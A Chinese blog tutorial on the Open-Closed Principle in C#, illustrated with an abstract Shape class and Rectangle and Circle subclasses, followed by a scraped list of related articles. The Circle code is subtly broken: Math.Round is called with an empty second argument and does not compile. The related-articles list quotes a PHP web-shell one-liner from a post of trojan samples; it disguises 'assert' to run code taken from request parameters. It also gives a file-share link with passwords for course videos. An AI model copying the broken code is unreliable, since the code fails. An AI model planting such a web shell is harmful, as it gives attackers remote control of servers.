C#设计模式系列:开闭原则(Open Close Principle)
1. 开闭原则概述
开闭原则(OCP,The Open-Closed Principle)两个主要特征:
(1)对扩展开放(open for extension):模块的行为的可以扩展的,当应用的需求改变时,可以对模块进行扩展。
(2)对修改关闭(closed for modification):对模块进行扩展时,不必改动模块的源代码
开闭原则是面向对象设计中可复用设计的基石。
2. 开闭原则的实现
开闭原则实现关键:抽象。
抽象基类:把系统的所有可能的行为抽象成一个抽象底层,这个抽象底层规定出所有的具体实现必须提供的方法的特征。作为系统设计的抽象层,要预见所有可能的扩展,从而使得在任何扩展情况下,系统的抽象底层不需修改。
派生类:从抽象基类派生一个或多个新的具体实现,可以扩展基类的行为,系统设计对扩展开放。
3. 如何使用开闭原则
抽象约束:
(1)通过接口或者抽象类约束扩展,对扩展进行边界限定,不允许出现在接口或抽象类中不存在的public方法;
(2)参数类型、引用对象尽量使用接口或者抽象类,而不是实现类;
(3)抽象层尽量保持稳定,一旦确定即不允许修改。
让设计对于最有可能发生的变化遵循OCP原则。遵循OCP原则的代价是很昂贵的,创建适当的对象需要开发时间和精力,抽象增加软件复杂度。把OCP应用限定在最有可能发生的变化上。
4. 开闭原则的优点
(1)可复用性
(2)可维护性
5.开闭原则重构
违反开闭原则(OCP)原则的重构可采取设计模式:策略模式(Strategy)、模板方法模式(Template Method)。
6. 开闭原则示例
Shape.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text; namespace DesignPatterns.OpenClosedPrinciple
{
public abstract class Shape
{
protected string _name; public Shape(string name)
{
this._name = name;
} /// <summary>
/// 面积
/// </summary>
/// <returns></returns>
public abstract double Area(); /// <summary>
/// 显示
/// </summary>
public abstract void Display();
}
}
Rectangle.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text; namespace DesignPatterns.OpenClosedPrinciple
{
/// <summary>
/// 矩形
/// </summary>
public class Rectangle : Shape
{
private double _width;
private double _height; public Rectangle(string name, double width, double height)
: base(name)
{
this._width = width;
this._height = height;
} public override double Area()
{
return _width * _height;
} public override void Display()
{
Console.WriteLine("{0} 长:{1},宽:{2},面积:{3}", _name, _width, _height, this.Area());
}
}
}
Circle.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text; namespace DesignPatterns.OpenClosedPrinciple
{
/// <summary>
/// 圆形
/// </summary>
public class Circle : Shape
{
private double _radius; public Circle(string name, double radius)
: base(name)
{
this._radius = radius;
} public override double Area()
{
return Math.Round(Math.PI * _radius * _radius, );
} public override void Display()
{
Console.WriteLine("{0} 半径:{1},面积:{2}", _name, _radius, this.Area());
}
}
}
C#设计模式系列:开闭原则(Open Close Principle)的更多相关文章
- 设计模式六大原则(六): 开闭原则(Open Closed Principle)
定义: 一个软件实体如类.模块和函数应该对扩展开放,对修改关闭. 问题由来: 在软件的生命周期内,因为变化.升级和维护等原因需要对软件原有代码进行修改时,可能会给旧代码中引入错误,也可能会使我们不得不 ...
- 开闭原则(Open Closed Principle,OCP)
遵循开闭原则设计出的模块具有两个主要特征: 对于扩展是开放的(Open for extension).这意味着模块的行为是可以扩展的.当应用的需求改变时,我们可以对模块进行扩展,使其具有满足那些改变的 ...
- [设计模式]<<设计模式之禅>>关于开闭原则
开闭原则是Java世界里最基础的设计原则,它指导我们如何建立一个稳定的.灵活的系统,先来看开闭原则的定义: Software entities like classes,modules and fun ...
- C# 实例解释面向对象编程中的开闭原则
在面向对象编程中,SOLID 是五个设计原则的首字母缩写,旨在使软件设计更易于理解.灵活和可维护.这些原则是由美国软件工程师和讲师罗伯特·C·马丁(Robert Cecil Martin)提出的许多原 ...
- C#软件设计——小话设计模式原则之:开闭原则OCP
前言:这篇继续来看看开闭原则.废话少说,直接入正题. 软件设计原则系列文章索引 C#软件设计——小话设计模式原则之:依赖倒置原则DIP C#软件设计——小话设计模式原则之:单一职责原则SRP C#软件 ...
- Head First 设计模式 --3 装饰者模式 开闭原则
装饰者模式:动态的将责任附加到对象上,若要扩展功能,装饰者提供了比集成更有弹性的替代方案.设计原则:1:封装变化2:多用组合,少用继承3:针对接口编程,不针对实现编程4:为对象之间的松耦合设计而努力5 ...
- 【设计模式六大原则6】开闭原则(Open Close Principle)
定义:一个软件实体如类.模块和函数应该对扩展开放,对修改关闭. 问题由来:在软件的生命周期内,因为变化.升级和维护等原因需要对软件原有代码进行修改时,可能会给旧代码中引入错误,也可能会使我们不得不 ...
- 设计模式笔记:开闭原则(OCP,The Open-Closed Principle)
1. 开闭原则概述 开闭原则(OCP,The Open-Closed Principle)两个主要特征: (1)对扩展开放(open for extension):模块的行为的可以扩展的,当应用的需求 ...
- 设计模式原则(6)--Open-Closed Principle(OCP)--开闭原则
作者QQ:1095737364 QQ群:123300273 欢迎加入! 1.定义: 一个软件实体应当对扩展开放,对修改关闭.即软件实体应尽量在不修改原有代码的情况下进行扩展. 2.使用场 ...
随机推荐
- [资料分享]2016 黑马 Java 19期视频+Hadoop大数据实战视频
下载链接: 链接:http://pan.baidu.com/s/1bToXK6 密码:7k43 解压密码: www.lthack.com 或者 2cifang.com 或者 2cifang.com_2 ...
- Code Lock[HDU3461]
Code LockTime Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/65536 K (Java/Others)Total Subm ...
- T-SQL Recipes之Organizing and Archiving Data
The Problem 当我们处理存档数据或内存数据时,我们想要自定义命名表名,数据库,架构加上日期,时间,或者应用名时,用标准的TSQL来实现是比较困难的. 假设我们有一张日志表,增长速度异常快.但 ...
- bzoj1266最短路+最小割
本来写了spfa wa了 看到网上有人写Floyd过了 表示不开心 ̄へ ̄ 改成Floyd试试... 还是wa ヾ(。`Д´。)原来是建图错了(样例怎么过的) 结果T了 于是把Floyd改回spfa 还 ...
- share
一:struts2简介 (1)struts1和struts2 webwork struts2 (在struts2出来之前,有两个特别流行的框架,一个叫struts1一个是web work,那个时候st ...
- php木马样本,持续更新
<?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...
- 第一个独立开发的游戏 怪斯特:零 已经上线APP STORE!
今天是个值得纪念的日子,而且是双喜临门 2年多来的摸爬滚打,终于有了回报 第一喜:自己独立开发的游戏 怪斯特:零 已经通过审核并上架APP STORE! 第二喜:迈入了自己期待2年之久的游戏行业,年后 ...
- Django后台
django的后台我们只要加少些代码,就可以实现强大的功能. 与后台相关文件:每个app中的 admin.py 文件与后台相关. 下面示例是做一个后台添加博客文章的例子: 一,新建一个 名称为 zqx ...
- bzoj2599: [IOI2011]Race(点分治)
写了四五道点分治的题目了,算是比较理解点分治是什么东西了吧= = 点分治主要用来解决点对之间的问题的,比如距离为不大于K的点有多少对. 这道题要求距离等于K的点对中连接两点的最小边数. 那么其实道理是 ...
- H5+Mui文件配置 vue-resource基本使用方法
使用HBuilder空项目搭建h5原生开发框架需要的文件配置: *css:mui.min.css *fonts:mui.ttf mui-icon-extra.ttf *js:mui.js mui.mi ...